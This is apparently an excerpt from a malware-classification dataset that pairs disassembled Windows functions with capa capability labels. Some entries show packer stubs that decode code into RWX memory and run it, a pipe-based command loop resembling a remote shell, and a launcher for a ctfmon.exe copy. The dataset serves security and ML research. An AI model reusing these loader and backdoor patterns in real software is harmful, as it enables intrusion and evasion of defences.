joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4040e6
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x14]
push edi
lea ebp, [esi + 0x10]
mov edi, dword [ebp]
mov ebx, edi
xor ebx, dword [esp + 0x1c]
cmp dword [esi + 0x14], 0x10
mov dword [esp + 0x10], ebp
jb 0x40410b
mov esi, dword [esi]
mov dword [esp + 0x18], esi
push esi
shr edi, 2
push edi
push str._x_and__p
call fcn.004043ba
add esp, 0xc
test edi, edi
je 0x404166
mov ebp, esi
mov esi, edi
push 4
lea eax, [esp + 0x20]
push ebp
push eax
call fcn.00406ab0
imul ecx, dword [esp + 0x28], 0x5bd1e991
add esp, 0xc
imul ebx, ebx, 0x5bd1e991
add ebp, 4
mov eax, ecx
shr eax, 0x18
xor eax, ecx
imul eax, eax, 0x5bd1e991
xor ebx, eax
mov dword [esp + 0x1c], eax
sub esi, 1
jne 0x404125
mov esi, dword [esp + 0x18]
mov ebp, dword [esp + 0x10]
mov eax, dword [ebp]
xor ecx, ecx
and eax, 3
sub eax, 1
je 0x40418f
sub eax, 1
je 0x404185
sub eax, 1
jne 0x40419d
movsx ecx, byte [esi + edi*4 + 2]
shl ecx, 0x10
movsx eax, byte [esi + edi*4 + 1]
shl eax, 8
xor ecx, eax
movsx eax, byte [esi + edi*4]
xor eax, ecx
imul eax, eax, 0x5bd1e991
xor ebx, eax
mov eax, ebx
shr eax, 0xd
xor eax, ebx
imul ecx, eax, 0x5bd1e991
pop edi
pop esi
pop ebp
pop ebx
mov eax, ecx
shr eax, 0xf
xor eax, ecx
pop ecx
ret

Function at 0x4041c3
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push esi
push edi
push 1
call dword [sym.imp.USER32.dll_GetClipCursor]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x4500a0], eax
pop edi
pop esi
ret

Function at 0x4066de
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40671d
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40671d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40671d
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40671d
cmp dword [ecx + 0x74], 0xe
jbe 0x40671d
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40d09a
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41bd28
push 0x41bd20
push str.FlsAlloc
push 0x1e
call fcn.0040cf5b
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d0ce
push dword [ebp + 8]
mov ecx, esi
call dword [0x419184]
call esi
jmp 0x40d0d4
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40d118
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41bd38
push 0x41bd30
push str.FlsGetValue
push 0x20
call fcn.0040cf5b
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d14f
push dword [ebp + 8]
mov ecx, esi
call dword [0x419184]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x407601
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x407610
pop dword [ebp - 0x3c]
mov eax, 0x407610
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0x37998
push 0
mov eax, 0x84ce0fd
sub eax, 0x80c0025
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0xccb2d35d
add ecx, 0x334d6de2
xor ebx, ebx
add ebx, eax
mov edx, 0xf40a16d7
sub edx, 0xf3c8db13
add edx, dword [ebp - 0x3c]
mov edi, 0xc81149ac
add edi, 0xa914ca6a
mov dword [ebp - 0x28], 0x64571d99
mov esi, dword [edx]
sub dword [ebp - 0x2c], 0xc12cc4e8
sub esi, edi
xor dword [ebp - 0x20], 0x9b8bee78
mov dword [ebx], esi
sub dword [ebp - 0x18], 0x55ae6d9b
add ebx, 4
add edx, 0x2b3f88d
add edx, 0xfd4c0777
loop 0x40766c
add eax, 0xf7cf
xor ebx, ebx
add ebx, eax
add eax, 0xde7d9c3
add eax, 0xf2182642
mov ecx, 0x400000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43300c
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x401090
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create process suspended

Disassembly:
push ebx
push ecx
push edx
push esi
push ebp
sub esp, 0x4ac
mov ebx, eax
push 0
push 0
lea eax, [esp + 0x4b0]
push eax
push 0x409014
call dword [sym.imp.KERNEL32.DLL_CreatePipe]
test eax, eax
jne 0x4010d3
mov dword [0x409014], eax
mov dword [0x409004], eax
mov dword [0x409018], eax
add esp, 0x4ac
pop ebp
pop esi
pop edx
pop ecx
pop ebx
ret
push ebx
mov eax, dword [0x40900c]
push eax
push 0x40104b
lea eax, [esp + 0xc]
push eax
xor edx, edx
call fcn.004016b0
add esp, 0x10
mov ebx, 0x44
lea eax, [esp + 0x450]
call fcn.004016d0
push 2
push 1
xor eax, eax
push 0
mov word [esp + 0x48c], ax
lea eax, [esp + 0x4b0]
push eax
mov dword [esp + 0x460], 0x44
mov dword [esp + 0x48c], 0x101
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
mov ebx, dword [esp + 0x4bc]
push ebx
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_DuplicateHandle]
push 2
push 1
mov eax, dword [esp + 0x4ac]
push 0
mov dword [esp + 0x49c], eax
lea eax, [esp + 0x4b0]
push eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
mov esi, dword [esp + 0x4bc]
push esi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_DuplicateHandle]
mov eax, dword [esp + 0x4a4]
mov dword [esp + 0x48c], eax
mov eax, dword [0x409010]
mov dword [esp + 0x488], eax
lea eax, [esp + 0x494]
push eax
lea eax, [esp + 0x454]
push eax
push 0
push 0
push 0x200
push 1
push 0
push 0
lea eax, [esp + 0x20]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
jne 0x4011d2
mov dword [esp + 0x49c], eax
mov ebp, dword [esp + 0x498]
push ebp
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [esp + 0x490]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edx, dword [esp + 0x48c]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [esp + 0x4a8]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [esp + 0x49c]
mov dword [0x409018], eax
mov eax, dword [esp + 0x494]
mov dword [0x409004], eax
add esp, 0x4ac
pop ebp
pop esi
pop edx
pop ecx
pop ebx
ret
Function at 0x401280
Capabilities:
Read file on windows
Read pipe
Set current directory

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
push ebp
sub esp, 0x408
mov edi, 0x400
mov esi, 1
mov eax, esp
mov edx, edi
call fcn.004015e0
mov dword [esp + 0x400], eax
test eax, eax
je case.0x4012be.5
mov byte [esp + eax], 0
mov al, byte [esp]
dec al
cmp al, 8
ja case.0x4012be.7
movzx eax, al
jmp dword [eax*4 + 0x401250]
lea eax, [esp + 1]
push eax
xor ebx, ebx
call dword [sym.imp.KERNEL32.DLL_SetCurrentDirectoryA]
test eax, eax
je 0x4012df
mov eax, ebx
call fcn.00401230
jmp case.0x4012be.7
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov ebx, eax
mov eax, ebx
call fcn.00401230
jmp case.0x4012be.7
lea eax, [esp + 1]
call fcn.00401090
jmp case.0x4012be.7
mov ebx, dword [esp + 1]
cmp edi, ebx
jae 0x401305
mov ebx, edi
push 0
lea eax, [esp + 0x404]
push eax
push 0
push 0
lea eax, [esp + 0x10]
push eax
mov ecx, dword [0x409014]
push ecx
dec ebx
call dword [sym.imp.KERNEL32.DLL_PeekNamedPipe]
test eax, eax
je 0x401370
mov ebp, dword [esp + 0x400]
test ebp, ebp
je 0x401370
cmp ebx, ebp
jbe 0x40133b
mov ebx, ebp
push 0
lea eax, [esp + 0x404]
push eax
push ebx
lea eax, [esp + 0xd]
push eax
mov edx, dword [0x409014]
push edx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov edx, dword [esp + 0x400]
mov eax, esp
inc edx
mov byte [esp], 7
call fcn.00401650
jmp case.0x4012be.7
push 0
mov eax, dword [0x409004]
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
cmp eax, 0x102
jne 0x40139e
push esi
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, esp
mov edx, esi
mov byte [esp], 0
call fcn.00401650
jmp case.0x4012be.7
lea eax, [esp + 0x404]
push eax
mov edx, dword [0x409004]
push edx
call dword [sym.imp.KERNEL32.DLL_GetExitCodeProcess]
mov ecx, dword [0x409014]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [esp + 0x404]
call fcn.00401230
mov ebp, dword [0x409004]
xor ebx, ebx
push ebp
mov dword [0x409018], ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp case.0x4012be.7
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_GenerateConsoleCtrlEvent]
jmp case.0x4012be.7
push 0
mov eax, dword [0x409004]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
jmp case.0x4012be.7
add esp, 0x408
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
mov edx, dword [0x40901c]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [0x409024]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ebx, dword [0x409020]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ebp, dword [0x409000]
push ebp
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [0x409028]
push eax
call dword [sym.imp.KERNEL32.DLL_UnmapViewOfFile]
xor eax, eax
jmp fcn.004016e9
Function at 0x4013f4
Capabilities:
Read file on windows
Read pipe
Set current directory
Terminate process

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
push ebp
sub esp, 0x408
mov edi, 0x400
mov esi, 1
mov eax, esp
mov edx, edi
call fcn.004015e0
mov dword [esp + 0x400], eax
test eax, eax
je case.0x4012be.5
mov byte [esp + eax], 0
mov al, byte [esp]
dec al
cmp al, 8
ja case.0x4012be.7
movzx eax, al
jmp dword [eax*4 + 0x401250]
lea eax, [esp + 1]
push eax
xor ebx, ebx
call dword [sym.imp.KERNEL32.DLL_SetCurrentDirectoryA]
test eax, eax
je 0x4012df
mov eax, ebx
call fcn.00401230
jmp case.0x4012be.7
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov ebx, eax
mov eax, ebx
call fcn.00401230
jmp case.0x4012be.7
lea eax, [esp + 1]
call fcn.00401090
jmp case.0x4012be.7
mov ebx, dword [esp + 1]
cmp edi, ebx
jae 0x401305
mov ebx, edi
push 0
lea eax, [esp + 0x404]
push eax
push 0
push 0
lea eax, [esp + 0x10]
push eax
mov ecx, dword [0x409014]
push ecx
dec ebx
call dword [sym.imp.KERNEL32.DLL_PeekNamedPipe]
test eax, eax
je 0x401370
mov ebp, dword [esp + 0x400]
test ebp, ebp
je 0x401370
cmp ebx, ebp
jbe 0x40133b
mov ebx, ebp
push 0
lea eax, [esp + 0x404]
push eax
push ebx
lea eax, [esp + 0xd]
push eax
mov edx, dword [0x409014]
push edx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov edx, dword [esp + 0x400]
mov eax, esp
inc edx
mov byte [esp], 7
call fcn.00401650
jmp case.0x4012be.7
push 0
mov eax, dword [0x409004]
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
cmp eax, 0x102
jne 0x40139e
push esi
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, esp
mov edx, esi
mov byte [esp], 0
call fcn.00401650
jmp case.0x4012be.7
lea eax, [esp + 0x404]
push eax
mov edx, dword [0x409004]
push edx
call dword [sym.imp.KERNEL32.DLL_GetExitCodeProcess]
mov ecx, dword [0x409014]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [esp + 0x404]
call fcn.00401230
mov ebp, dword [0x409004]
xor ebx, ebx
push ebp
mov dword [0x409018], ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp case.0x4012be.7
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_GenerateConsoleCtrlEvent]
jmp case.0x4012be.7
push 0
mov eax, dword [0x409004]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
jmp case.0x4012be.7
add esp, 0x408
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
mov edx, dword [0x40901c]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [0x409024]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ebx, dword [0x409020]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ebp, dword [0x409000]
push ebp
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [0x409028]
push eax
call dword [sym.imp.KERNEL32.DLL_UnmapViewOfFile]
xor eax, eax
jmp fcn.004016e9
Function at 0x4014b0
Capabilities:
Enumerate gui resources
Read file via mapping
Terminate process

Disassembly:
push ecx
sub esp, 0xc
push 0x401010
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateSemaphoreA]
push 0x401054
push 1
push 0
push 0
mov dword [0x40901c], eax
call dword [sym.imp.KERNEL32.DLL_CreateSemaphoreA]
push 0x40101e
push 1
push 0
push 0
mov dword [0x409024], eax
call dword [sym.imp.KERNEL32.DLL_CreateSemaphoreA]
push 0x40107b
push 0x400
push 0
push 4
push 0
push 0xffffffffffffffff
mov dword [0x409020], eax
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
push 0
push 0
push 0
push 2
push eax
mov dword [0x409000], eax
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
mov dword [0x409028], eax
mov eax, 0x401085
call fcn.00401750
mov dword [0x40900c], eax
test eax, eax
jne 0x401556
push 0x401029
push 0x408040
call fcn.004017f0
add esp, 8
mov eax, 1
jmp fcn.004016e9
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_SetConsoleCtrlHandler]
push 1
push 0x4014a0
call dword [sym.imp.KERNEL32.DLL_SetConsoleCtrlHandler]
xor edx, edx
push edx
push edx
push 3
lea eax, [esp + 0xc]
push eax
push 3
push 0x80000000
mov dword [esp + 0x18], 0xc
push 0x40101a
mov dword [esp + 0x24], 1
mov dword [esp + 0x20], edx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [0x409010], eax
cmp eax, 0xffffffff
je 0x4015bc
push 0
push 0x401460
call dword [sym.imp.USER32.DLL_EnumWindows]
call fcn.00401280
jmp 0x4015b5
push 0x401060
push 0x408040
call fcn.004017f0
add esp, 8
mov eax, 1
jmp fcn.004016e9
Function at 0x401a10
Capabilities:
Accept command line arguments

Disassembly:
push ecx
push esi
push edi
mov edi, eax
mov esi, ebx
mov dword [0x40904c], eax
mov dword [0x408258], edx
call fcn.00403290
xor eax, eax
mov dword [0x409670], eax
call dword [sym.imp.KERNEL32.DLL_GetVersion]
mov edx, eax
mov byte [0x4082b5], al
shr eax, 0x10
mov word [0x4082b7], ax
xor eax, eax
mov ax, word [0x4082b7]
and edx, 0xffff
mov dword [0x4082b9], eax
xor eax, eax
sar edx, 8
mov al, byte [0x4082b5]
and edx, 0xff
mov dword [0x4082bd], eax
xor eax, eax
mov al, dl
mov byte [0x4082b6], dl
mov dword [0x4082c1], eax
mov eax, dword [0x4082bd]
mov edx, dword [0x4082c1]
shl eax, 8
or eax, edx
mov dword [0x4082c5], eax
cmp byte [0x4082b5], 4
jae 0x401b37
mov eax, 0x4019a8
push eax
xor edx, edx
push 0x4019d5
mov dword [0x4082b1], edx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov edx, eax
test eax, eax
je 0x401aca
call edx
mov dword [0x4082b1], eax
push 0x104
push 0x409050
push 0
mov ebx, 0x208
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov edx, 0x409154
xor eax, eax
mov dword [0x408280], 0x409050
call fcn.004033c0
mov dword [0x40828c], 0x409154
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
call fcn.00403460
mov edx, eax
mov bl, byte [eax]
mov dword [0x409044], eax
cmp bl, 0x22
je 0x401b41
xor edx, edx
mov dl, byte [eax]
test byte [edx + 0x4034a1], 2
je 0x401b59
xor edx, edx
mov dl, byte [eax]
test byte [edx + 0x4034a1], 2
je 0x401b60
inc eax
jmp 0x401b27
mov eax, 0x4019be
jmp 0x401aa2
inc eax
cmp bl, byte [eax]
je 0x401b51
cmp byte [eax], 0
je 0x401b51
inc eax
cmp byte [eax], 0x22
jne 0x401b46
cmp byte [eax], 0
je 0x401b27
inc eax
jmp 0x401b27
test dl, dl
je 0x401b27
inc eax
jmp 0x401b1a
mov dword [0x40827c], eax
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
test eax, eax
je 0x401bd6
call fcn.004035a1
mov edx, eax
mov bx, word [eax]
mov dword [0x409048], eax
cmp bx, 0x22
je 0x401ba9
xor eax, eax
mov ax, word [edx]
call fcn.004035c8
test eax, eax
je 0x401bcb
xor eax, eax
mov ax, word [edx]
call fcn.004035c8
test eax, eax
je 0x401bdb
add edx, 2
jmp 0x401b96
lea edx, [eax + 2]
cmp bx, word [edx]
je 0x401bc0
cmp word [edx], 0
je 0x401bc0
add edx, 2
cmp word [edx], 0x22
jne 0x401bb1
cmp word [edx], 0
je 0x401b96
add edx, 2
jmp 0x401b96
cmp word [edx], 0
je 0x401b96
add edx, 2
jmp 0x401b88
mov edx, 0x4019e2
mov dword [0x408288], edx
test edi, edi
jne 0x401bee
mov eax, 1
pop edi
pop esi
pop ecx
ret
push 0x104
push 0x40935c
push esi
mov ebx, 0x208
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov edx, 0x409460
mov eax, esi
mov dword [0x408284], 0x40935c
call fcn.004033c0
mov dword [0x408290], 0x409460
mov eax, 1
pop edi
pop esi
pop ecx
ret

Function at 0x405c10
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
push edx
push 0x40
push 0x1000
mov edx, dword [eax]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
pop edx
pop ecx
ret
Function at 0x405e20
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
push edi
push ebp
sub esp, 8
mov esi, eax
mov ebp, edx
mov edi, ebx
test eax, eax
jl 0x405eb4
cmp eax, dword [0x4082f4]
jae 0x405eb4
call fcn.004031c0
mov edx, eax
mov dword [esp + 4], eax
mov eax, esi
xor ebx, ebx
call fcn.00404ef0
test al, 0x80
je 0x405e78
mov eax, esi
call dword [0x408218]
push 2
push 0
push 0
push edx
mov ebx, 1
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
cmp eax, 0xffffffff
je 0x405ec8
push 0
lea eax, [esp + 4]
push eax
push edi
push ebp
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x405ed2
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
cmp ebx, 1
jne 0x405ea5
mov eax, esi
call dword [0x40821c]
mov eax, edx
call fcn.00406480
add esp, 8
pop ebp
pop edi
pop esi
pop ecx
ret
call dword [0x40825c]
mov dword [eax + 4], 4
mov eax, 0xffffffff
jmp 0x405eac
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
jmp 0x405e9d
cmp edi, dword [esp]
je 0x405ee4
call dword [0x40825c]
mov dword [eax + 4], 0xc
cmp ebx, 1
jne 0x405ef1
mov eax, esi
call dword [0x40821c]
mov eax, dword [esp]
add esp, 8
pop ebp
pop edi
pop esi
pop ecx
ret

Function at 0x405fca
Capabilities:
Terminate process
Write file on windows

Disassembly:
sub esp, 8
mov esi, eax
mov edi, edx
xor edx, edx
mov ecx, eax
inc eax
cmp byte [ecx], 0
je 0x404754
inc edx
jmp 0x404749
push 0
lea eax, [esp + 4]
push eax
push edx
push esi
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0
lea eax, [esp + 4]
push eax
push 2
lea eax, [esp + 0x10]
push eax
push 0xfffffffffffffff4
mov word [esp + 0x18], 0xa0d
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov eax, edi
jmp 0x401d10
mov ebx, eax
mov ecx, edx
mov edx, ds
call fcn.00405cc0
test eax, eax
jne 0x4047b5
mov edx, ecx
mov eax, ebx
jmp 0x404740
mov eax, ecx
jmp 0x401d10
push edx
mov edx, 0xff
mov eax, 0x405fa1
jmp 0x4047a0
Function at 0x408930
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
mov eax, dword [0x432860]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
lea eax, [ebp - 0x154]
push 0
push eax
mov dword [ebp - 0x158], 0x44
call fcn.00412080
add esp, 0xc
xor eax, eax
mov word [ebp - 0x128], ax
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x158]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0
mov dword [ebp - 0x12c], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
call fcn.00408910
int3

Function at 0x4089c0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x178
mov eax, dword [0x432860]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x103
lea eax, [ebp - 0x12f]
push 0
push eax
mov bl, dl
mov esi, ecx
mov byte [ebp - 0x130], 0
call fcn.00412080
mov al, byte [0x42df9c]
movq xmm0, qword [str.pgH0BwW]
add esp, 0xc
mov byte [ebp - 0x1c], al
xor eax, eax
push str.X:.Trash_100
mov dword [ebp - 0x1b], eax
mov word [ebp - 0x17], ax
mov byte [ebp - 0x15], al
mov byte [ebp - 0x14], al
mov dword [ebp - 0xb], eax
mov word [ebp - 7], ax
mov byte [ebp - 5], al
movq qword [ebp - 0x24], xmm0
lea eax, [ebp - 0x130]
xorps xmm0, xmm0
push 0x104
push eax
movq qword [ebp - 0x13], xmm0
call fcn.0040e5e9
add esp, 0xc
lea eax, [ebp - 0x130]
push str.ctfmon.exe
push 0x104
push eax
call fcn.0040e8c1
lea edx, [ebp - 0x24]
add esp, 0xc
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x408a64
lea eax, [ebp - 0x14]
sub edx, ecx
push 0x10
push eax
lea ecx, [ebp - 0x24]
call fcn.004056c0
push 0x433f60
push esi
call fcn.0040eac0
add esp, 0x10
cmp eax, esi
jne 0x408a95
test bl, bl
jne 0x408b24
push 0x42dd74
push esi
call fcn.0040eac0
add esp, 8
lea ecx, [eax + 1]
lea edx, [ebp - 0x130]
call fcn.0040ad80
test al, al
je 0x408b24
push ecx
lea edx, [ebp - 0x14]
lea ecx, [ebp - 0x130]
call fcn.0040bdd0
add esp, 4
test eax, eax
jne 0x408b34
push 0x40
push eax
lea eax, [ebp - 0x174]
push eax
mov dword [ebp - 0x178], 0x44
call fcn.00412080
add esp, 0xc
xor eax, eax
mov word [ebp - 0x148], ax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x178]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x130]
push eax
push 0
mov dword [ebp - 0x14c], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x408b44
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d33f
mov esp, ebp
pop ebp
ret
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00408930
call fcn.00408910
int3
Function at 0x415fa3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x415fb2
pop dword [ebp - 0x4c]
mov eax, 0xde44c6
add eax, 0xff631aec
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x3b144
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0xbe80ea38
sub ecx, 0xbe80ad3b
mov ebx, eax
mov esi, 0xa57818b9
sub esi, 0xa534c4b9
add esi, dword [ebp - 0x4c]
mov edi, 0xe65d2080
add edi, 0x51ecc831
sub dword [ebp - 0xc], 0x3fb31267
mov edx, dword [esi]
xor dword [ebp - 8], 0xd079ee6a
sub edx, edi
mov dword [ebx], edx
sub dword [ebp - 0x40], ecx
add ebx, 4
add esi, 0x5c26c967
add esi, 0xa3d9369d
loop 0x41600c
add eax, 0x8a2a41bb
sub eax, 0x8a295af4
xor ebx, ebx
add ebx, eax
add eax, 0xc8195e93
sub eax, 0xc8195e8e
mov ecx, 0xf08f5c2c
add ecx, 0xfb0a3d4
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret